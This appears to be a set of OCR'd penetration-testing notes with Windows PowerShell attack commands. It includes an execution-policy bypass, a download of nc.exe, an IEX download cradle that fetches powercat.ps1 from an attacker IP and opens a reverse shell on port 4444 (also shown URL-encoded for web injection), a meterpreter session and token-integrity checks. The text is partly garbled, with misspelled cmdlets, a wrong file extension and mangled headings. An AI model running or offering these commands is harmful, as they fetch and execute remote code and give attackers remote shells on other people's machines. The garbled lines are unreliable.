[Shell] powershell

E&powershell

# -ep bypass &BHNITHREE
PS C:\Users\stephanie> powershell -ep bypass

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\stephanie>

# wget
powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e
powershell

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.psl");powercat -c
192.168.119.3 -p 4444 -e powershell

# EITURLAREE

IEX%20(New-
Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.168%2Fpowercat.ps1%22)%3Bpowercat%20-
C%20192.168.45.168%20-p%204444%20-e%20powershell

# EITURLARES

IEX%20(New-
Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.168%2Fpowercat.ps1%22)%3Bpow
€%20192.168.45.168%20-p%204444%20-e%20powershell

Import-Module & AE4H

C:\Windows\system32> powershell -ep bypass

PS C:\Windows\system32> Import-Module NtObjectManager
Import-Module NtObjectManager

PS C:\Windows\system32> Get-NtTokenlIntegritylLevel
Get-NtTokenlIntegrityLevel



meterpreter >

Process 6436 created.

Channel 1 created.

Microsoft Windows [Version 10.0.22000.795]

(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>
powershell —-ep bypass
Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements!
https://aka.ms/PSWindows

PS C:\Windows\system32>
Import-Module NtObjectManager

PS C:\Windows\system32>
Get—NtTokenIntegritylLevel
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